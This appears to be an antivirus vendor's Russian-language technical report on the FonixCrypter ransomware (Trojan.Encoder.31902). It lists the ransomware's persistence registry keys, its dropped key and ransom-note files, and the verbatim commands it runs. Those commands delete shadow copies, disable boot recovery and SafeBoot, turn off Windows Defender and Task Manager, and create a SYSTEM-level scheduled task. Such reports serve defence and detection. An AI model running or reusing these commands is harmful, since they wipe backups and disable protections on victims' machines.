Trojan.Encoder.31902

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'PhoenixTechnology' = '%LOCALAPPDATA%\TempFonixCrypter.exe'
[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'PhoenixTechnology' = '%LOCALAPPDATA%\TempFonixCrypter.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce] 'PhoenixTechnology' = '%LOCALAPPDATA%\TempFonixCrypter.exe'
[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'PhoenixTechnology' = '%LOCALAPPDATA%\TempFonixCrypter.exe'

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\fonix
%APPDATA%\microsoft\windows\start menu\programs\startup\cpriv.key

Создает следующие файлы на съемном носителе

<Имя диска съемного носителя>:\# how to decrypt files #.hta
<Имя диска съемного носителя>:\hanni_umami_chapter.doc
<Имя диска съемного носителя>:\508softwareandos.doc
<Имя диска съемного носителя>:\sdksampleprivdeveloper.cer
<Имя диска съемного носителя>:\contosoroot_1.cer
<Имя диска съемного носителя>:\contoso.cer
<Имя диска съемного носителя>:\sdkfailsafeemulator.cer
<Имя диска съемного носителя>:\contoso_1.cer
<Имя диска съемного носителя>:\sdksampleunprivdeveloper.cer
<Имя диска съемного носителя>:\default.bmp
<Имя диска съемного носителя>:\coffee.bmp
<Имя диска съемного носителя>:\dialmap.bmp
<Имя диска съемного носителя>:\tileimage.bmp
<Имя диска съемного носителя>:\dial.bmp
<Имя диска съемного носителя>:\dashborder_144.bmp
<Имя диска съемного носителя>:\cpriv.key
<Имя диска съемного носителя>:\february_catalogue__2015.doc
<Имя диска съемного носителя>:\weeklysheet1215.doc

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Диспетчера задач (Taskmgr)

удаляет теневые копии разделов.

Изменения в файловой системе

Создает следующие файлы

%APPDATA%\# how to decrypt files #.hta
<Текущая директория>\cpriv.key
<Текущая директория>\cpub.key
%TEMP%\cpub.key
%APPDATA%\cpub.key
%TEMP%\cpriv.key
%APPDATA%\cpriv.key
%APPDATA%\crptsrvcflg
<Текущая директория>\systemid
%APPDATA%\systemid
D:\# how to decrypt files #.hta
D:\cpriv.key
D:\$recycle.bin\# how to decrypt files #.hta
D:\$recycle.bin\cpriv.key
D:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1001\# how to decrypt files #.hta
D:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1001\cpriv.key

Создает файлы с требованием оплатить расшифровку файлов (Trojan.Encoder).

Другое

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN fonix /TR %temp%/FonixCrypter.exe /RU SYSTEM /RL HIGHEST /F
'%WINDIR%\syswow64\cmd.exe' /c Copy Cpriv.key %appdata%\Cpriv.key
'%WINDIR%\syswow64\icacls.exe' * /grant Everyone:(OI)(CI)F /T /C /Q
'<SYSTEM32>\vssvc.exe'
'%WINDIR%\syswow64\cmd.exe' /c vssadmin Delete Shadows /All /Quiet
'%WINDIR%\syswow64\cmd.exe' /c cmd.exe /c vssadmin Delete Shadows /All /Quiet & wmic shadowcopy delete & bcdedit /set {default} boostatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delet...
'%WINDIR%\syswow64\reg.exe' delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
'%WINDIR%\syswow64\cmd.exe' /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
'%WINDIR%\syswow64\cmd.exe' /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
'%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c Copy Cpub.key %appdata%\Cpub.key
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d %LOCALAPPDATA%\TempFonixCrypter.exe /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d %temp%FonixCrypter.exe /f
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d %LOCALAPPDATA%\TempFonixCrypter.exe /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d %temp%FonixCrypter.exe /f
'%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d %LOCALAPPDATA%\TempFonixCrypter.exe /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d %temp%FonixCrypter.exe /f
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d %LOCALAPPDATA%\TempFonixCrypter.exe /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d %temp%FonixCrypter.exe /f
'%WINDIR%\syswow64\schtasks.exe' /CREATE /SC ONLOGON /TN fonix /TR %LOCALAPPDATA%\Temp/FonixCrypter.exe /RU SYSTEM /RL HIGHEST /F
'%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c Copy SystemID %appdata%\SystemID